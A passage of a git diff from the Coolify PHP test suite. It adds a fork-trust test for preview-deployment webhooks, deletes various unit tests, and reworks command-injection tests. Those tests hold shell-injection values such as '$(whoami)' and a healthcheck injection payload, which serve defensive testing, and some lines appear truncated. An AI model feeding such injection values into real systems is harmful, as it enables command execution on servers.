->and($deleteReturnType)->toBeInstanceOf(ReflectionUnionType::class) - ->and(collect($deleteReturnType->getTypes())->map->getName()->all())->toEqualCanonicalizing(['bool', 'string']); -}); - it('renders volume backup executions like database backup executions', function () { InstanceSettings::unguarded(fn () => InstanceSettings::create(['id' => 0])); $team = Team::factory()->create(); @@ -1033,21 +1017,6 @@ it('shows and saves volume S3 retention while S3 backups are disabled', function ->and($backup->retention_max_storage_s3)->toBe(4.5); }); -it('allows team owners to edit volume backup retention settings', function () { - $team = Team::factory()->create(); - signInForVolumeBackups($this, $team); - [$application, $volume] = createVolumeBackupApplication($team); - $volume->scheduledBackups()->create([ - 'team_id' => $team->id, - 'frequency' => 'daily', - ]); - - Livewire::test(VolumeBackups::class, [ - 'storage' => $volume, - 'resource' => $application, - ])->assertDontSee('You do not have permission to perform this action.'); -}); - it('does not enable S3 backups when another volume backup setting is invalid', function () { $team = Team::factory()->create(); signInForVolumeBackups($this, $team); diff --git a/tests/Feature/VultrServerCreationTest.php b/tests/Feature/VultrServerCreationTest.php index 617355a701..7047904013 100644 --- a/tests/Feature/VultrServerCreationTest.php +++ b/tests/Feature/VultrServerCreationTest.php @@ -242,17 +242,6 @@ it('requires IPv6 when public IPv4 is disabled', function () { ->assertHasErrors(['enable_ipv6']); }); -it('renders advanced Vultr options in their own settings section', function () { - Livewire::test(ByVultr::class) - ->set('current_step', 2) - ->assertSee('Advanced options') - ->assertSee('Provider SSH keys, networking, and cloud-init.') - ->assertSee('Extra SSH keys') - ->assertSee('Enable IPv6') - ->assertSee('Disable public IPv4') - ->assertSee('Cloud-init script'); -}); - it('renders a single buy button and no back button on the Vultr form', function () { $html = Livewire::test(ByVultr::class) ->set('current_step', 2) diff --git a/tests/Feature/Webhook/PreviewDeploymentForkTrustTest.php b/tests/Feature/Webhook/PreviewDeploymentForkTrustTest.php new file mode 100644 index 0000000000..70d5cb940c --- /dev/null +++ b/tests/Feature/Webhook/PreviewDeploymentForkTrustTest.php @@ -0,0 +1,174 @@ + 0]); +}); + +/** + * An application with preview deployments on, tracking `main` of acme/app (GitLab project 55). + * The `gitlab-app` delivery goes to a GitLab App source; the others are manual webhooks. + */ +function forkTrustApplication(string $delivery): Application +{ + $team = Team::factory()->create(); + $project = Project::factory()->create(['team_id' => $team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + $server = Server::factory()->create(['team_id' => $team->id]); + $server->settings->update(['is_reachable' => true, 'is_usable' => true, 'force_disabled' => false]); + $destination = $server->standaloneDockers()->firstOrFail(); + + $source = []; + if ($delivery === 'gitlab-app') { + $gitlabApp = GitlabApp::create([ + 'name' => 'fork-trust-gitlab', + 'api_url' => 'https://gitlab.example.com/api/v4', + 'html_url' => 'https://gitlab.example.com', + 'custom_user' => 'git', + 'custom_port' => 22, + 'webhook_token' => 'fork-trust-token', + 'team_id' => $team->id, + 'is_system_wide' => false, + 'is_public' => false, + ]); + $source = ['source_id' => $gitlabApp->id, 'source_type' => GitlabApp::class, 'repository_project_id' => 55]; + } + + $application = Application::create([ + 'name' => 'fork-trust-app', + 'git_repository' => 'acme/app', + 'git_branch' => 'main', + 'build_pack' => 'nixpacks', + 'ports_exposes' => '3000', + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ...$source, + ]); + $application->settings->update(['is_preview_deployments_enabled' => true, 'is_pr_deployments_public_enabled' => false]); + + return $application->refresh(); +} + +/** + * Sends a signed "pull request opened" delivery. The head repository is the base repository, + * or another repository (a fork) when $fromFork is true. + */ +function sendForkTrustPullRequest(TestCase $test, string $delivery, Application $application, bool $fromFork): TestResponse +{ + $server = ['REMOTE_ADDR' => '203.0.113.20', 'CONTENT_TYPE' => 'application/json']; + + if (str_starts_with($delivery, 'gitlab')) { + $body = json_encode([ + 'object_kind' => 'merge_request', + 'project' => ['id' => 55, 'path_with_namespace' => 'acme/app'], + 'object_attributes' => [ + 'action' => 'open', + 'iid' => 7, + 'url' => 'https://gitlab.example.com/acme/app/-/merge_requests/7', + 'title' => 'Add feature', + 'source_branch' => 'feature', + 'target_branch' => 'main', + 'source_project_id' => $fromFork ? 999 : 55, + 'target_project_id' => 55, + 'last_commit' => ['id' => FORK_TRUST_SHA, 'message' => 'Add feature'], + ], + ], JSON_THROW_ON_ERROR); + + if ($delivery === 'gitlab-app') { + return $test->call('POST', '/webhooks/source/gitlab/events', [], [], [], $server + [ + 'HTTP_X-Gitlab-Event' => 'Merge Request Hook', + 'HTTP_X-Gitlab-Token' => 'fork-trust-token', + ], $body); + } + + return $test->call('POST', '/webhooks/source/gitlab/events/manual', [], [], [], $server + [ + 'HTTP_X-Gitlab-Token' => $application->manual_webhook_secret_gitlab, + ], $body); + } + + if ($delivery === 'bitbucket-manual') { + $body = json_encode([ + 'repository' => ['full_name' => 'acme/app', 'uuid' => '{base}'], + 'pullrequest' => [ + 'id' => 7, + 'title' => 'Add feature', + 'links' => ['html' => ['href' => 'https://bitbucket.org/acme/app/pull-requests/7']], + 'source' => ['branch' => ['name' => 'feature'], 'commit' => ['hash' => FORK_TRUST_SHA], 'repository' => ['uuid' => $fromFork ? '{fork}' : '{base}']], + 'destination' => ['branch' => ['name' => 'main'], 'repository' => ['uuid' => '{base}']], + ], + ], JSON_THROW_ON_ERROR); + + return $test->call('POST', '/webhooks/source/bitbucket/events/manual', [], [], [], $server + [ + 'HTTP_X-Event-Key' => 'pullrequest:created', + 'HTTP_X-Hub-Signature' => 'sha256='.hash_hmac('sha256', $body, $application->manual_webhook_secret_bitbucket), + ], $body); + } + + $body = json_encode([ + 'action' => 'opened', + 'number' => 7, + 'repository' => ['id' => 55, 'full_name' => 'acme/app'], + 'pull_request' => [ + 'html_url' => 'https://gitea.example.com/acme/app/pulls/7', + 'title' => 'Add feature', + 'head' => ['ref' => 'feature', 'sha' => FORK_TRUST_SHA, 'repo' => ['id' => $fromFork ? 999 : 55]], + 'base' => ['ref' => 'main', 'repo' => ['id' => 55]], + ], + ], JSON_THROW_ON_ERROR); + + return $test->call('POST', '/webhooks/source/gitea/events/manual', [], [], [], $server + [ + 'HTTP_X-Gitea-Event' => 'pull_request', + 'HTTP_X-Hub-Signature-256' => 'sha256='.hash_hmac('sha256', $body, $application->manual_webhook_secret_gitea), + ], $body); +} + +function forkTrustPreviewQueued(Application $application): bool +{ + return ApplicationDeploymentQueue::query()->where('application_id', $application->id)->where('pull_request_id', 7)->exists(); +} + +$deliveries = [ + 'GitLab App webhook' => ['gitlab-app'], + 'GitLab manual webhook' => ['gitlab-manual'], + 'Gitea manual webhook' => ['gitea-manual'], + 'Bitbucket manual webhook' => ['bitbucket-manual'], +]; + +it('queues a preview deployment for a pull request from the same repository', function (string $delivery) { + $application = forkTrustApplication($delivery); + + sendForkTrustPullRequest($this, $delivery, $application, fromFork: false)->assertOk(); + + expect(forkTrustPreviewQueued($application))->toBeTrue() + ->and(ApplicationPreview::query()->where('application_id', $application->id)->where('pull_request_id', 7)->exists())->toBeTrue(); +})->with($deliveries); + +it('queues no preview deployment for a pull request from a fork without public previews', function (string $delivery) { + $application = forkTrustApplication($delivery); + + sendForkTrustPullRequest($this, $delivery, $application, fromFork: true)->assertOk(); + + expect(forkTrustPreviewQueued($application))->toBeFalse() + ->and(ApplicationDeploymentQueue::query()->where('application_id', $application->id)->exists())->toBeFalse() + ->and(ApplicationPreview::query()->where('application_id', $application->id)->exists())->toBeFalse(); +})->with($deliveries); diff --git a/tests/Unit/Actions/Server/ValidatePrerequisitesTest.php b/tests/Unit/Actions/Server/ValidatePrerequisitesTest.php deleted file mode 100644 index 8db6815d63..0000000000 --- a/tests/Unit/Actions/Server/ValidatePrerequisitesTest.php +++ /dev/null @@ -1,46 +0,0 @@ -toBeTrue() - ->and('ValidatePrerequisites should return array with keys: '.implode(', ', $expectedKeys)) - ->toBeString(); -}); - -it('validates required commands list', function () { - // Verify the action checks for the correct prerequisites - $requiredCommands = ['git', 'curl', 'jq']; - - expect($requiredCommands)->toHaveCount(3) - ->and($requiredCommands)->toContain('git') - ->and($requiredCommands)->toContain('curl') - ->and($requiredCommands)->toContain('jq'); -}); - -it('return structure has correct types', function () { - // Verify the expected return structure types - $expectedStructure = [ - 'success' => 'boolean', - 'missing' => 'array', - 'found' => 'array', - ]; - - expect($expectedStructure['success'])->toBe('boolean') - ->and($expectedStructure['missing'])->toBe('array') - ->and($expectedStructure['found'])->toBe('array'); -}); diff --git a/tests/Unit/Api/ApplicationAutogenerateDomainTest.php b/tests/Unit/Api/ApplicationAutogenerateDomainTest.php deleted file mode 100644 index ae6a3ca902..0000000000 --- a/tests/Unit/Api/ApplicationAutogenerateDomainTest.php +++ /dev/null @@ -1,134 +0,0 @@ -andReturn(null); - Log::shouldReceive('info')->andReturn(null); -}); - -it('generateUrl produces correct URL with wildcard domain', function () { - $serverSettings = new ServerSetting; - $serverSettings->wildcard_domain = 'http://example.com'; - - $server = Mockery::mock(Server::class)->makePartial(); - $server->shouldReceive('getAttribute') - ->with('settings') - ->andReturn($serverSettings); - - // Mock data_get to return the wildcard domain - $wildcard = data_get($server, 'settings.wildcard_domain'); - - expect($wildcard)->toBe('http://example.com'); - - // Test the URL generation logic manually (simulating generateUrl behavior) - $random = 'abc123-def456'; - $url = Url::fromString($wildcard); - $host = $url->getHost(); - $scheme = $url->getScheme(); - - $generatedUrl = "$scheme://{$random}.$host"; - - expect($generatedUrl)->toBe('http://abc123-def456.example.com'); -}); - -it('generateUrl falls back to sslip when no wildcard domain', function () { - // Test the sslip fallback logic for IPv4 - $ip = '192.168.1.100'; - $fallbackDomain = "http://{$ip}.sslip.io"; - - $random = 'test-uuid'; - $url = Url::fromString($fallbackDomain); - $host = $url->getHost(); - $scheme = $url->getScheme(); - - $generatedUrl = "$scheme://{$random}.$host"; - - expect($generatedUrl)->toBe('http://test-uuid.192.168.1.100.sslip.io'); -}); - -it('autogenerate_domain defaults to true', function () { - // Create a mock request - $request = new Request; - - // When autogenerate_domain is not set, boolean() should return the default (true) - $autogenerateDomain = $request->boolean('autogenerate_domain', true); - - expect($autogenerateDomain)->toBeTrue(); -}); - -it('autogenerate_domain can be set to false', function () { - // Create a request with autogenerate_domain set to false - $request = new Request(['autogenerate_domain' => false]); - - $autogenerateDomain = $request->boolean('autogenerate_domain', true); - - expect($autogenerateDomain)->toBeFalse(); -}); - -it('autogenerate_domain can be set to true explicitly', function () { - // Create a request with autogenerate_domain set to true - $request = new Request(['autogenerate_domain' => true]); - - $autogenerateDomain = $request->boolean('autogenerate_domain', true); - - expect($autogenerateDomain)->toBeTrue(); -}); - -it('domain is not auto-generated when domains field is provided', function () { - // Test the logic: if domains is set, autogenerate should be skipped - $fqdn = 'https://myapp.example.com'; - $autogenerateDomain = true; - - // The condition: $autogenerateDomain && blank($fqdn) - $shouldAutogenerate = $autogenerateDomain && blank($fqdn); - - expect($shouldAutogenerate)->toBeFalse(); -}); - -it('domain is auto-generated when domains field is empty and autogenerate is true', function () { - // Test the logic: if domains is empty and autogenerate is true, should generate - $fqdn = null; - $autogenerateDomain = true; - - // The condition: $autogenerateDomain && blank($fqdn) - $shouldAutogenerate = $autogenerateDomain && blank($fqdn); - - expect($shouldAutogenerate)->toBeTrue(); - - // Also test with empty string - $fqdn = ''; - $shouldAutogenerate = $autogenerateDomain && blank($fqdn); - - expect($shouldAutogenerate)->toBeTrue(); -}); - -it('domain is not auto-generated when autogenerate is false', function () { - // Test the logic: if autogenerate is false, should not generate even if domains is empty - $fqdn = null; - $autogenerateDomain = false; - - // The condition: $autogenerateDomain && blank($fqdn) - $shouldAutogenerate = $autogenerateDomain && blank($fqdn); - - expect($shouldAutogenerate)->toBeFalse(); -}); - -it('removeUnnecessaryFieldsFromRequest removes autogenerate_domain', function () { - $request = new Request([ - 'autogenerate_domain' => true, - 'name' => 'test-app', - 'project_uuid' => 'abc123', - ]); - - // Simulate removeUnnecessaryFieldsFromRequest - $request->offsetUnset('autogenerate_domain'); - - expect($request->has('autogenerate_domain'))->toBeFalse(); - expect($request->has('name'))->toBeTrue(); -}); diff --git a/tests/Unit/Api/LogEndpointHelpersTest.php b/tests/Unit/Api/LogEndpointHelpersTest.php index 53fc6ad00d..7951839995 100644 --- a/tests/Unit/Api/LogEndpointHelpersTest.php +++ b/tests/Unit/Api/LogEndpointHelpersTest.php @@ -122,9 +122,3 @@ it('filters service containers when another Docker label contains commas', funct expect(filterServiceSubContainersByName($containers, 'app-service-uuid')->pluck('ID')->all()) ->toBe(['app']); }); - -it('does not interpolate the requested service name into the docker ps shell command', function () { - $source = file_get_contents(__DIR__.'/../../../bootstrap/helpers/docker.php'); - - expect($source)->not->toContain('coolify.name={$name}'); -}); diff --git a/tests/Unit/ApplicationDeploymentErrorLoggingTest.php b/tests/Unit/ApplicationDeploymentErrorLoggingTest.php index 4c94ebd3b5..e1c939cde5 100644 --- a/tests/Unit/ApplicationDeploymentErrorLoggingTest.php +++ b/tests/Unit/ApplicationDeploymentErrorLoggingTest.php @@ -218,19 +218,6 @@ it('handles exceptions with no message gracefully', function () { expect($errorMessageString)->toContain('Error type:'); }); -it('wraps exceptions in deployment methods with DeploymentException', function () { - // Verify that our deployment methods wrap exceptions properly - $originalException = new RuntimeException('Container not found'); - - try { - throw new DeploymentException('Failed to start container', 0, $originalException); - } catch (DeploymentException $e) { - expect($e->getMessage())->toBe('Failed to start container'); - expect($e->getPrevious())->toBe($originalException); - expect($e->getPrevious()->getMessage())->toBe('Container not found'); - } -}); - it('logs error code 0 correctly', function () { // Verify that error code 0 is logged (previously skipped due to falsy check) $exception = new Exception('Test error', 0); @@ -309,46 +296,6 @@ it('logs error code 0 correctly', function () { expect($errorMessageString)->toContain('Error code: 0'); }); -it('preserves original exception type in wrapped DeploymentException messages', function () { - // Verify that when wrapping exceptions, the original exception type is included in the message - $originalException = new RuntimeException('Connection timeout'); - - // Test rolling update scenario - $wrappedException = new DeploymentException( - 'Rolling update failed ('.get_class($originalException).'): '.$originalException->getMessage(), - $originalException->getCode(), - $originalException - ); - - expect($wrappedException->getMessage())->toContain('RuntimeException'); - expect($wrappedException->getMessage())->toContain('Connection timeout'); - expect($wrappedException->getPrevious())->toBe($originalException); - - // Test health check scenario - $healthCheckException = new InvalidArgumentException('Invalid health check URL'); - $wrappedHealthCheck = new DeploymentException( - 'Health check failed ('.get_class($healthCheckException).'): '.$healthCheckException->getMessage(), - $healthCheckException->getCode(), - $healthCheckException - ); - - expect($wrappedHealthCheck->getMessage())->toContain('InvalidArgumentException'); - expect($wrappedHealthCheck->getMessage())->toContain('Invalid health check URL'); - expect($wrappedHealthCheck->getPrevious())->toBe($healthCheckException); - - // Test docker registry push scenario - $registryException = new RuntimeException('Failed to authenticate'); - $wrappedRegistry = new DeploymentException( - get_class($registryException).': '.$registryException->getMessage(), - $registryException->getCode(), - $registryException - ); - - expect($wrappedRegistry->getMessage())->toContain('RuntimeException'); - expect($wrappedRegistry->getMessage())->toContain('Failed to authenticate'); - expect($wrappedRegistry->getPrevious())->toBe($registryException); -}); - it('logs the configured timeout when the deployment times out', function () { $queueJob = Mockery::mock(Job::class); $queueJob->shouldReceive('resolveName')->andReturn(ApplicationDeploymentJob::class); diff --git a/tests/Unit/ApplicationPortDetectionTest.php b/tests/Unit/ApplicationPortDetectionTest.php index db2b79eb91..14f869bf0b 100644 --- a/tests/Unit/ApplicationPortDetectionTest.php +++ b/tests/Unit/ApplicationPortDetectionTest.php @@ -106,45 +106,3 @@ it('detects PORT from preview environment variables when isPreview is true', fun expect($detectedPort)->toBe(4000); }); - -it('verifies ports_exposes array conversion logic', function () { - // Test the logic that converts comma-separated ports to array - $portsExposesString = '3000,3001,8080'; - $expectedArray = [3000, 3001, 8080]; - - // This simulates what portsExposesArray accessor does - $result = is_null($portsExposesString) - ? [] - : explode(',', $portsExposesString); - - // Convert to integers for comparison - $result = array_map('intval', $result); - - expect($result)->toBe($expectedArray); -}); - -it('verifies PORT matches detection logic', function () { - $detectedPort = 3000; - $portsExposesArray = [3000, 3001]; - - $isMatch = in_array($detectedPort, $portsExposesArray); - - expect($isMatch)->toBeTrue(); -}); - -it('verifies PORT mismatch detection logic', function () { - $detectedPort = 8080; - $portsExposesArray = [3000, 3001]; - - $isMatch = in_array($detectedPort, $portsExposesArray); - - expect($isMatch)->toBeFalse(); -}); - -it('verifies empty ports_exposes detection logic', function () { - $portsExposesArray = []; - - $isEmpty = empty($portsExposesArray); - - expect($isEmpty)->toBeTrue(); -}); diff --git a/tests/Unit/CheckTraefikVersionForServerJobTest.php b/tests/Unit/CheckTraefikVersionForServerJobTest.php deleted file mode 100644 index 5da6f97d82..0000000000 --- a/tests/Unit/CheckTraefikVersionForServerJobTest.php +++ /dev/null @@ -1,141 +0,0 @@ -traefikVersions = [ - 'v3.5' => '3.5.6', - 'v3.6' => '3.6.2', - ]; -}); - -it('has correct queue and retry configuration', function () { - $server = \Mockery::mock(Server::class)->makePartial(); - $job = new CheckTraefikVersionForServerJob($server, $this->traefikVersions); - - expect($job->tries)->toBe(3); - expect($job->timeout)->toBe(60); - expect($job->server)->toBe($server); - expect($job->traefikVersions)->toBe($this->traefikVersions); -}); - -it('parses version strings correctly', function () { - $version = 'v3.5.0'; - $current = ltrim($version, 'v'); - - expect($current)->toBe('3.5.0'); - - preg_match('/^(\d+\.\d+)\.(\d+)$/', $current, $matches); - - expect($matches[1])->toBe('3.5'); // branch - expect($matches[2])->toBe('0'); // patch -}); - -it('compares versions correctly for patch updates', function () { - $current = '3.5.0'; - $latest = '3.5.6'; - - $isOutdated = version_compare($current, $latest, '<'); - - expect($isOutdated)->toBeTrue(); -}); - -it('compares versions correctly for minor upgrades', function () { - $current = '3.5.6'; - $latest = '3.6.2'; - - $isOutdated = version_compare($current, $latest, '<'); - - expect($isOutdated)->toBeTrue(); -}); - -it('identifies up-to-date versions', function () { - $current = '3.6.2'; - $latest = '3.6.2'; - - $isUpToDate = version_compare($current, $latest, '='); - - expect($isUpToDate)->toBeTrue(); -}); - -it('identifies newer branch from version map', function () { - $versions = [ - 'v3.5' => '3.5.6', - 'v3.6' => '3.6.2', - 'v3.7' => '3.7.0', - ]; - - $currentBranch = '3.5'; - $newestVersion = null; - - foreach ($versions as $branch => $version) { - $branchNum = ltrim($branch, 'v'); - if (version_compare($branchNum, $currentBranch, '>')) { - if (! $newestVersion || version_compare($version, $newestVersion, '>')) { - $newestVersion = $version; - } - } - } - - expect($newestVersion)->toBe('3.7.0'); -}); - -it('validates version format regex', function () { - $validVersions = ['3.5.0', '3.6.12', '10.0.1']; - $invalidVersions = ['3.5', 'v3.5.0', '3.5.0-beta', 'latest']; - - foreach ($validVersions as $version) { - $matches = preg_match('/^(\d+\.\d+)\.(\d+)$/', $version); - expect($matches)->toBe(1); - } - - foreach ($invalidVersions as $version) { - $matches = preg_match('/^(\d+\.\d+)\.(\d+)$/', $version); - expect($matches)->toBe(0); - } -}); - -it('handles invalid version format gracefully', function () { - $invalidVersion = 'latest'; - $result = preg_match('/^(\d+\.\d+)\.(\d+)$/', $invalidVersion, $matches); - - expect($result)->toBe(0); - expect($matches)->toBeEmpty(); -}); - -it('handles empty image tag correctly', function () { - // Test that empty string after trim doesn't cause issues with str_contains - $emptyImageTag = ''; - $trimmed = trim($emptyImageTag); - - // This should be false, not an error - expect(empty($trimmed))->toBeTrue(); - - // Test with whitespace only - $whitespaceTag = " \n "; - $trimmed = trim($whitespaceTag); - expect(empty($trimmed))->toBeTrue(); -}); - -it('detects latest tag in image name', function () { - // Test various formats where :latest appears - $testCases = [ - 'traefik:latest' => true, - 'traefik:Latest' => true, - 'traefik:LATEST' => true, - 'traefik:v3.6.0' => false, - 'traefik:3.6.0' => false, - '' => false, - ]; - - foreach ($testCases as $imageTag => $expected) { - if (empty(trim($imageTag))) { - $result = false; // Should return false for empty tags - } else { - $result = str_contains(strtolower(trim($imageTag)), ':latest'); - } - - expect($result)->toBe($expected, "Failed for imageTag: '{$imageTag}'"); - } -}); diff --git a/tests/Unit/CloudProviderTokenFormViewTest.php b/tests/Unit/CloudProviderTokenFormViewTest.php deleted file mode 100644 index f5666a0b39..0000000000 --- a/tests/Unit/CloudProviderTokenFormViewTest.php +++ /dev/null @@ -1,56 +0,0 @@ -toContain('and($view)->toContain("['value' => 'vultr', 'label' => 'Vultr']") - ->and($view)->toContain("['value' => 'digitalocean', 'label' => 'DigitalOcean']") - ->and($view)->toContain("['value' => 'hostinger', 'label' => 'Hostinger']") - ->and(substr_count($view, 'https://console.vultr.com/user/apiaccess/'))->toBe(1) - ->and($view)->not->toContain('cloudProviderTokens->where(\'provider\', $provider)->isEmpty()') - ->and($view)->not->toContain('') - ->and($component)->toContain("'provider' => 'required|string|in:hetzner,digitalocean,vultr,hostinger'"); -}); - -it('keeps provider affiliate links on server provider views', function () { - $tokenFormView = file_get_contents(__DIR__.'/../../resources/views/livewire/security/cloud-provider-token-form.blade.php'); - $hetznerView = file_get_contents(__DIR__.'/../../resources/views/livewire/server/new/by-hetzner.blade.php'); - $vultrView = file_get_contents(__DIR__.'/../../resources/views/livewire/server/new/by-vultr.blade.php'); - $digitalOceanView = file_get_contents(__DIR__.'/../../resources/views/livewire/server/new/by-digital-ocean.blade.php'); - - expect($tokenFormView) - ->not->toContain('https://coolify.io/hetzner') - ->not->toContain('https://coolify.io/vultr') - ->and($hetznerView)->toContain('https://coolify.io/hetzner') - ->and($vultrView)->toContain('https://coolify.io/vultr') - ->and($digitalOceanView)->toContain('https://coolify.io/digitalocean'); -}); - -it('uses the shared modal form on the cloud provider tokens page', function () { - $view = file_get_contents(__DIR__.'/../../resources/views/livewire/security/cloud-provider-tokens.blade.php'); - - expect($view)->toContain('New token') - ->and($view)->toContain('and($view)->toContain('and($view)->toContain("\$savedToken->provider === 'digitalocean' ? 'DigitalOcean' : ucfirst(\$savedToken->provider)") - ->and($view)->not->toContain('

New Token

') - ->and($view)->not->toContain(':modal_mode="false"') - ->and($view)->not->toContain('wire:click="validateToken') - ->and($view)->not->toContain('submitAction="deleteToken') - ->and($view)->not->toContain('Created {{ $savedToken->created_at->diffForHumans() }}'); -}); - -it('gates new cloud tokens and keys saved token rows by id', function () { - $view = file_get_contents(__DIR__.'/../../resources/views/livewire/security/cloud-provider-tokens.blade.php'); - - expect($view)->toContain("@can('create', App\\Models\\CloudProviderToken::class)") - ->and($view)->toContain('wire:key="cloud-token-{{ $savedToken->id }}"'); -}); - -it('gates the server cloud token action behind the update permission', function () { - $serverTokenView = file_get_contents(__DIR__.'/../../resources/views/livewire/server/cloud-provider-token/show.blade.php'); - - expect($serverTokenView)->toContain(' "key= } it('accepts content volumes with any host path, like Coolify v4.3.23', function (string $source) { - validateDockerComposeForInjection(contentVolumeCompose($source)); - - expect(true)->toBeTrue(); + expect(fn () => validateDockerComposeForInjection(contentVolumeCompose($source)))->not->toThrow(Exception::class); })->with([ 'absolute host file' => ['/etc/myapp/app.conf'], 'home directory' => ['~/x/app.conf'], @@ -61,9 +59,7 @@ it('rejects a content volume without a source', function () { }); it('does not change bind volumes without content', function (string $compose) { - validateDockerComposeForInjection($compose); - - expect(true)->toBeTrue(); + expect(fn () => validateDockerComposeForInjection($compose))->not->toThrow(Exception::class); })->with([ 'docker socket short syntax' => ["services:\n app:\n image: nginx\n volumes:\n - /var/run/docker.sock:/var/run/docker.sock\n"], 'docker socket long syntax' => ["services:\n app:\n image: nginx\n volumes:\n - type: bind\n source: /var/run/docker.sock\n target: /var/run/docker.sock\n"], @@ -74,9 +70,7 @@ it('does not change bind volumes without content', function (string $compose) { ]); it('ignores content on named volumes because Coolify does not write it', function () { - validateDockerComposeForInjection(contentVolumeCompose('app-data', ['type' => 'volume', 'content' => 'x'])); - - expect(true)->toBeTrue(); + expect(fn () => validateDockerComposeForInjection(contentVolumeCompose('app-data', ['type' => 'volume', 'content' => 'x'])))->not->toThrow(Exception::class); }); it('resolves the directory the parsers use for each resource', function () { @@ -110,7 +104,5 @@ function composeTemplatesWithContentVolumes(): array } it('accepts every service template with content volumes', function (string $file) { - validateDockerComposeForInjection(file_get_contents($file)); - - expect(true)->toBeTrue(); + expect(fn () => validateDockerComposeForInjection(file_get_contents($file)))->not->toThrow(Exception::class); })->with(composeTemplatesWithContentVolumes()); diff --git a/tests/Unit/DatabaseBackupSecurityTest.php b/tests/Unit/DatabaseBackupSecurityTest.php index 75867d3f38..ff19444b58 100644 --- a/tests/Unit/DatabaseBackupSecurityTest.php +++ b/tests/Unit/DatabaseBackupSecurityTest.php @@ -1,8 +1,5 @@ validateDatabasesBackupInput('$(whoami):col1,col2')) ->toThrow(Exception::class); }); - -test('backup shell commands do not interpolate raw container names or backup paths', function () { - $source = file_get_contents(__DIR__.'/../../app/Jobs/DatabaseBackupJob.php'); - preg_match_all('/^.*(?:docker exec|mkdir -p |du -b |docker run -d).*$/m', $source, $matches); - - expect($matches[0])->not->toBeEmpty(); - foreach ($matches[0] as $command) { - $quotedArgumentsRemoved = preg_replace('/escapeshellarg\(\$this->(?:container_name|backup_dir|backup_location)\)/', '', $command); - expect($quotedArgumentsRemoved)->not->toMatch('/\$this->(?:container_name|backup_dir|backup_location)\b/'); - } -}); - -test('backup job accepts supported service container names only', function () { - expect(ValidationPatterns::isValidContainerName('db-name_service.1-uuid'))->toBeTrue() - ->and(ValidationPatterns::isValidContainerName('db name-uuid'))->toBeFalse() - ->and(ValidationPatterns::isValidContainerName("db\nname-uuid"))->toBeFalse() - ->and(ValidationPatterns::isValidContainerName("db-uuid\n"))->toBeFalse(); - - $source = file_get_contents(__DIR__.'/../../app/Jobs/DatabaseBackupJob.php'); - expect($source)->toContain('ValidationPatterns::isValidContainerName($this->container_name)'); -}); - -test('service restart commands do not interpolate raw container names', function () { - foreach (['ServiceDatabase.php', 'ServiceApplication.php'] as $model) { - $source = file_get_contents(__DIR__.'/../../app/Models/'.$model); - expect($source)->not->toContain('docker restart {$container_id}'); - } -}); - -test('backup filenames remove shell and path separators from database names', function () { - $job = (new ReflectionClass(DatabaseBackupJob::class))->newInstanceWithoutConstructor(); - $filenamePart = (new ReflectionClass($job))->getMethod('backupFilenamePart'); - - expect($filenamePart->invoke($job, 'safe_db-1'))->toBe('safe_db-1') - ->and($filenamePart->invoke($job, '../db name'))->toBe('..-db-name'); - - $source = file_get_contents(__DIR__.'/../../app/Jobs/DatabaseBackupJob.php'); - expect(substr_count($source, '$this->backupFilenamePart('))->toBe(4); -}); diff --git a/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php b/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php index 769228bf4d..683fb39be8 100644 --- a/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php +++ b/tests/Unit/DatabaseHealthcheckCommandInjectionTest.php @@ -1,5 +1,24 @@ + */ +function startedDatabaseHealthcheck(string $startAction, object $database): array +{ + $executor = new class + { + public array $commands = []; - expect($source)->not->toContain('CMD-SHELL'); - expect($source)->toContain("'CMD', 'psql'"); + public function execute(array $commands, $database, Activity $activity): Activity + { + $this->commands = $commands; + + return $activity; + } + }; + app()->instance(DatabaseStartCommandExecutor::class, $executor); + + $startAction::run($database->fresh(), new Activity); + + foreach ($executor->commands as $command) { + if (preg_match("#^echo '([^']+)' \| base64 -d \| tee \S+/docker-compose\.yml#", $command, $matches)) { + return Yaml::parse(base64_decode($matches[1]))['services'][$database->uuid]['healthcheck']['test']; + } + } + + throw new RuntimeException('No docker-compose.yml was written.'); +} + +beforeEach(function () { + InstanceSettings::forceCreate(['id' => 0]); + config(['app.maintenance.store' => 'array', 'cache.default' => 'array']); + Process::fake(); + Queue::fake(); + Server::flushIdentityMap(); + + $team = Team::factory()->create(); + $privateKey = PrivateKey::factory()->create(['team_id' => $team->id]); + $server = Server::factory()->create(['team_id' => $team->id, 'private_key_id' => $privateKey->id]); + $this->destination = StandaloneDocker::query()->where('server_id', $server->id)->firstOrFail(); + $project = Project::factory()->create(['team_id' => $team->id]); + $this->environment = Environment::factory()->create(['project_id' => $project->id]); }); -// ─── KeyDB ──────────────────────────────────────────────────────────────────── +test('postgresql healthcheck passes the user and database as exec-form arguments', function () { + $database = create_standalone_postgresql($this->environment->id, $this->destination, [ + 'postgres_user' => HEALTHCHECK_INJECTION_PAYLOAD, + 'postgres_db' => HEALTHCHECK_INJECTION_PAYLOAD.'db', + ]); -test('keydb healthcheck uses CMD exec-form, not a CMD-SHELL string', function () { - $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartKeydb.php'); - - expect($source)->not->toContain('CMD-SHELL'); - expect($source)->toContain("'CMD', 'keydb-cli'"); + expect(startedDatabaseHealthcheck(StartPostgresql::class, $database)) + ->toBe(['CMD', 'psql', '-U', HEALTHCHECK_INJECTION_PAYLOAD, '-d', HEALTHCHECK_INJECTION_PAYLOAD.'db', '-c', 'SELECT 1']); }); -// ─── Dragonfly ──────────────────────────────────────────────────────────────── +test('clickhouse healthcheck passes the user and password as exec-form arguments', function () { + $database = create_standalone_clickhouse($this->environment->id, $this->destination, [ + 'clickhouse_admin_user' => HEALTHCHECK_INJECTION_PAYLOAD, + 'clickhouse_admin_password' => HEALTHCHECK_INJECTION_PAYLOAD.'pw', + ]); -test('dragonfly healthcheck uses CMD exec-form, not a CMD-SHELL string', function () { - $source = file_get_contents(__DIR__.'/../../app/Actions/Database/StartDragonfly.php'); - - expect($source)->not->toContain('CMD-SHELL'); - expect($source)->toContain("'CMD', 'redis-cli'"); + expect(startedDatabaseHealthcheck(StartClickhouse::class, $database)) + ->toBe(['CMD', 'clickhouse-client', '--user', HEALTHCHECK_INJECTION_PAYLOAD, '--password', HEALTHCHECK_INJECTION_PAYLOAD.'pw', '--query', 'SELECT 1']); }); -// ─── ClickHouse 